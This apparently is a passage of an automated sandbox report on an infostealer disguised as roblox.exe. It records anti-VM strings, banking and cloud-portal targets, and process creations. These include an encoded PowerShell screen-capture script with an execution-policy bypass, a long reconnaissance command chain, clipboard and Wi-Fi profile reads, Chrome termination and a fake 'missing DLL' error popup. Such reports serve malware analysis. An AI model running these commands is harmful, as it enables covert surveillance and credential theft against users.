Source: stub.exe, 00000003.00000003.2567611492.000002895A39F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmwaretray.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Rvmware
Source: stub.exe, 00000003.00000003.2566558448.000002895A3AB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop Virtualization Service
Source: stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicheartbeat
Source: stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicvss
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: stub.exe, 00000003.00000003.2564574377.000002895A39E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560249793.000002895A39D000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535338533.000002895A3DD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2535137454.000002895A3DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: stub.exe, 00000003.00000003.2535378926.000002895A2DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicshutdown
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: cVMware
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvboxtray.exe
Source: stub.exe, 00000003.00000003.2291250272.000002895A24B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uwmic path Win32_ComputerSystem get ManufacturercVMwarecvmwareuAntiVM.CheckHypervisoraFakeErrorT

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE4241		3_2_00007FF8A7DE4241
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE572C		3_2_00007FF8A7DE572C

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Code function: 3_2_00007FF8A7DE4241 rdtsc

3_2_00007FF8A7DE4241

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Code function: 3_2_00007FF8A7CC30E8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00007FF8A7CC30E8

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7CC30E8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8A7CC30E8
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7CC2B20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8A7CC2B20
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Code function: 3_2_00007FF8A7DE5A1F IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8A7DE5A1F

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded [Reflection.Assembly]::LoadWithPartialName("System.Drawing")function screenshot([Drawing.Rectangle]$bounds, $path) { $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save($path) $graphics.Dispose() $bmp.Dispose()}$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1920, 1080)$path = (Get-Item .).FullName+"\screenshot.png"screenshot $bounds $path
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded [Reflection.Assembly]::LoadWithPartialName("System.Drawing")function screenshot([Drawing.Rectangle]$bounds, $path) { $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $bmp.Save($path) $graphics.Dispose() $bmp.Dispose()}$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1920, 1080)$path = (Get-Item .).FullName+"\screenshot.png"screenshot $bounds $path

Source: C:\Users\user\Desktop\roblox.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe C:\Users\user\Desktop\roblox.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand wwbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aewabwbhagqavwbpahqaaabqageacgb0agkayqbsae4ayqbtaguakaaiafmaeqbzahqazqbtac4arabyageadwbpag4azwaiackadqakagyadqbuagmadabpag8abgagahmaywbyaguazqbuahmaaabvahqakabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdacqaygbvahuabgbkahmalaagacqacabhahqaaaapacaaewanaaoaiaagacaajabiag0acaagad0aiaboaguadwatae8aygbqaguaywb0acaarabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabiag8adqbuagqacwauahcaaqbkahqaaaasacaajabiag8adqbuagqacwauaggazqbpagcaaab0aa0acgagacaaiaakagcacgbhahaaaabpagmacwagad0aiabbaeqacgbhahcaaqbuagcalgbhahiayqbwaggaaqbjahmaxqa6adoargbyag8abqbjag0ayqbnaguakaakagiabqbwackadqakaa0acgagacaaiaakagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoacqaygbvahuabgbkahmalgbmag8aywbhahqaaqbvag4alaagafsarabyageadwbpag4azwauafaabwbpag4adabdadoaogbfag0acab0ahkalaagacqaygbvahuabgbkahmalgbzagkaegblackadqakaa0acgagacaaiaakagiabqbwac4auwbhahyazqaoacqacabhahqaaaapaa0acganaaoaiaagacaajabnahiayqbwaggaaqbjahmalgbeagkacwbwag8acwblacgakqanaaoaiaagacaajabiag0acaauaeqaaqbzahaabwbzaguakaapaa0acgb9aa0acganaaoajabiag8adqbuagqacwagad0aiabbaeqacgbhahcaaqbuagcalgbsaguaywb0ageabgbnagwazqbdadoaogbgahiabwbtaewavabsaeiakaawacwaiaawacwaiaaxadkamgawacwaiaaxadaaoaawackadqakacqacabhahqaaaagad0aiaaoaecazqb0ac0asqb0aguabqagac4akqauaeyadqbsagwatgbhag0azqaraciaxabzagmacgblaguabgbzaggabwb0ac4acabuagcaiganaaoacwbjahiazqblag4acwboag8adaagacqaygbvahuabgbkahmaiaakahaayqb0agga
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""	Jump to behavior
